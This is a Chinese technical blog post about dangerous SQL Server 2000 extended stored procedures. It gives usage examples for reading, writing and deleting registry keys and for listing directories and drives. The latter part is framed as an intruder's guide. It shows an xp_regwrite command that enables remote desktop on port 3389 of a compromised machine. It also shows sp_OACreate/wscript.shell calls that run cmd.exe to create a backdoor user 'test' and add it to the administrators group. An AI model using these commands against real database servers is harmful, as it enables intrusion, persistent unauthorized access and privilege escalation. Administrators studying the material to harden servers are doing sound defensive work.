Chinaunix首页 | 论坛 | 博客
  • 博客访问: 11601481
  • 博文数量: 8065
  • 博客积分: 10002
  • 博客等级: 中将
  • 技术积分: 96708
  • 用 户 组: 普通用户
  • 注册时间: 2008-04-16 17:06
文章分类

全部博文(8065)

文章存档

2008年(8065)

分类:

2008-12-26 13:21:53

   存储过程是存储在SQLServer中的预先写好的SQL语句集合。存储过程分为三类:系统提供的存储过程,用户定义的存储过程和扩展存储过程。系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以“sp_”开头。用户定义的存储过程是用SQLServer的使用者编写的存储过程。扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令。
除了xp_cmdshell,SQL Server2000还有很多强大的存储过程有可能被破坏者利用,下面就介绍一下:

sp_Msgetversion(这个存储过程返回Microsoft SQL Server的版本号),使用方法:
EXEC master..sp_MSgetversion
更常用的方法获得版本信息(这种方法可以获得更多附加信息),是使用下列语句:
SELECT @@version
xp_dirtree(这个存储过程用来列出对应目录下的文件和文件夹),使用方法(要获得 C:\aaa的文件列表):

EXEC master..xp_dirtree 'C:\aaa'
xp_enumerrorlogs(这个扩展过程返回所有的错误日志和它们的最后更新日期),使用方法:
EXEC master..xp_enumerrorlogs
xp_fixeddrives(这个扩展存储过程很有用,可以列出所有硬盘分区各自的可用空间),使用方法:
EXEC master..xp_fixeddrives
xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):

DECLARE @test varchar(50)
EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
  @key='system\controlset001\control\computername\computername',
  @value_name='computername',
  @value=@test OUTPUT
SELECT @test
xp_regdeletekey (这个扩展存储过程可以删除注册表指定的键,使用时要谨慎),使用方法(从注册表里删除HKEY_LOCAL_MACHINE\SOFTWARE\aaa):
EXEC master..xp_regdeletekey
     @rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa'
xp_regdeletevalue(这个扩展存储过程可以删除注册表指定的键里指定的值),使用方法(要删除键值HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC master..xp_regdeletevalue
     @rootkey='HKEY_LOCAL_MACHINE',
     @key='SOFTWARE\aaa',
     @value_name='aaaValue'
xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):
EXEC master..xp_regwrite
     @rootkey='HKEY_LOCAL_MACHINE',
     @key='SOFTWARE\aaa',
     @value_name='aaaValue',
     @type='REG_SZ',
     @value='bbb'
xp_enumdsn(这个扩展存储过程可以得到ODBC中的用户数据源),使用方法:
EXEC master..xp_enumdsn
 
   有了上面这些操作注册表的扩展存储过程,入侵者就可以做很多事情了,如果被入侵机器的3389没有被打开,入侵者就可以向被入侵机器的注册表里写入开3389的键值,只要等被入侵机器重新启动后,入侵者就可以连接3389端口了,具体要写哪些键值,网上有很多介绍,大家可以找一下,需要注意的是在查询分析器里运行xp_regwrite存储过程时(注意一条一条运行),按照下面这种简单的形式运行:
xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\TermDD','start','reg_dword',2
 
等被入侵机器重新启动后,就可以连接3389端口了。
还有OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,这些存储过程和xp_cmdshell一样危险,使用方法:
 
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--用户test,被加入管理员组.
阅读(522) | 评论(0) | 转发(0) |
0

上一篇:危险存储过程

下一篇:冗余技术解析

给主人留下些什么吧!~~